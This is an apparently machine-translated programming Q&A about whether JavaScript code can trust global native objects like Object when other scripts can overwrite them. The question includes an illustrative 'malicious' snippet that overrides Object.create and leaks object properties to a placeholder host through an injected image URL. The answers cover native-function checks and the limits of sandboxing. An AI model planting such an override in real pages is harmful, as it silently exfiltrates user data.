依赖 JavaScript 中的全局原生对象是否安全,尤其是对象对象?

Is it safe to rely on global native objects in JavaScript, particularly the Object one?

首先,我知道依赖 Array 构造函数通常是不受欢迎的,因为它可以被其他代码重新分配,这不是严格模式,而是应该使用数组文字 [],在那种情况下,他总是依赖于原生的、真实的数组(还有一些其他含义,但这是主要的)

但是Object如何处理呢?有些方法(createfreeze 等)只能通过 Object 标识符访问。

我查看了 AngularJS 的源代码,发现作者依赖于这些对象(ObjectFunction)不会被重新分配的假设,所以我'我得出的结论是没有更好的方法。但我想听听更有经验的人的意见。

所以问题是:如何保护旨在与其他 javascript 代码一起使用的自己的代码免受重新分配的全局本机对象的影响?

更新

我的问题是关于安全问题。所以这是关于开发人员不能假设的情况:

请以这种情况为例:

// the malicious code
var oldObj = Object,
    Object = {
        create: function(proto) {
            var secretProps = 'http://malicioushost.com/?'
            for (var prop in proto) {
                secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
            }
            var secretImg = document.createElement('img')
            secretImg.src = secretProps
            document.body.appendChild(secretImg)
            return oldObj.create.call(oldObj, proto)
     }
}

// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})

此处 Object.create 的行为与原始行为完全相同

衷心感谢

我不确定语言规范是怎么说的,但据此我认为可能不是。但是,我还要说,如果有人以这种方式弄乱你的 JavaScript 环境,那么你就没有足够一致的环境来完成任何有价值的事情,因此担心它是不值得的.

var d,
  origObj,
  o1,
  o2,
  o3;

origObj = Object;

d = document.getElementById('objectorno');
d.innerHTML = Object;

o1 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o1;

Object = null;

d.innerHTML = d.innerHTML + '<br/><br/>' + Object;

o2 = {
  aprop: "this is a property of an object"
};
d.innerHTML = d.innerHTML + '<br/><br/>' + o2.aprop;

try {
  o3 = Object.create({});
  d.innerHTML = d.innerHTML + '<br/><br/>' + o3;
} catch (e){
  d.innerHTML = d.innerHTML + '<br/><br/>No more Object.create()';
}
<div id="objectorno"></div>

如果您需要检查本机代码是否实际上是本机代码并且没有被覆盖,您可以在使用它们之前像这样简单地检查它们:

function isFuncNative(f) {
       return !!f && (typeof f).toLowerCase() == 'function' 
       && (f === Function.prototype 
       || /^\s*function\s*(\b[a-z$_][a-z0-9$_]*\b)*\s*\((|([a-z$_][a-z0-9$_]*)(\s*,[a-z$_][a-z0-9$_]*)*)\)\s*{\s*\[native code\]\s*}\s*$/i.test(String(f)));
}

然后

if (isFuncNative(Object.create)){
    // Use Object.create
} else {
   alert("You naughty boy!");
}

First, I know, that relying on the Array constructor is usually frowned because it can be reassigned by other code

不。 Array 构造函数不受欢迎的原因是因为它比仅仅说 [] 不必要地冗长,而且接口令人困惑地不一致。 (具体来说,如果 x 是数字,new Array(x).length 就是 x,而对于任何其他类型,1 ......呃。)

有一些库试图获取它们自己的某些全局变量的副本,以便在宿主页面碰巧定义了自己的名为 Objectundefined 的变量时它们仍然可以工作,但事实并非如此无论如何水密。

How to protect own code intended to be used abreast with other javascript code from reassigned global native objects?

这不是一个可以解决的问题。 JavaScript 没有提供足够的工具来建立有效的安全边界。几乎所有对象、方法和属性都可以被破坏。

(在语言级别,无论如何......使用浏览器,您可以使用跨域 frames/sandbox、postMessage 等将代码保存在不同的上下文中。但是,如果用户正在与之交互的界面元素发生在受感染的顶级页面上,它仍然不太可能有太大帮助。)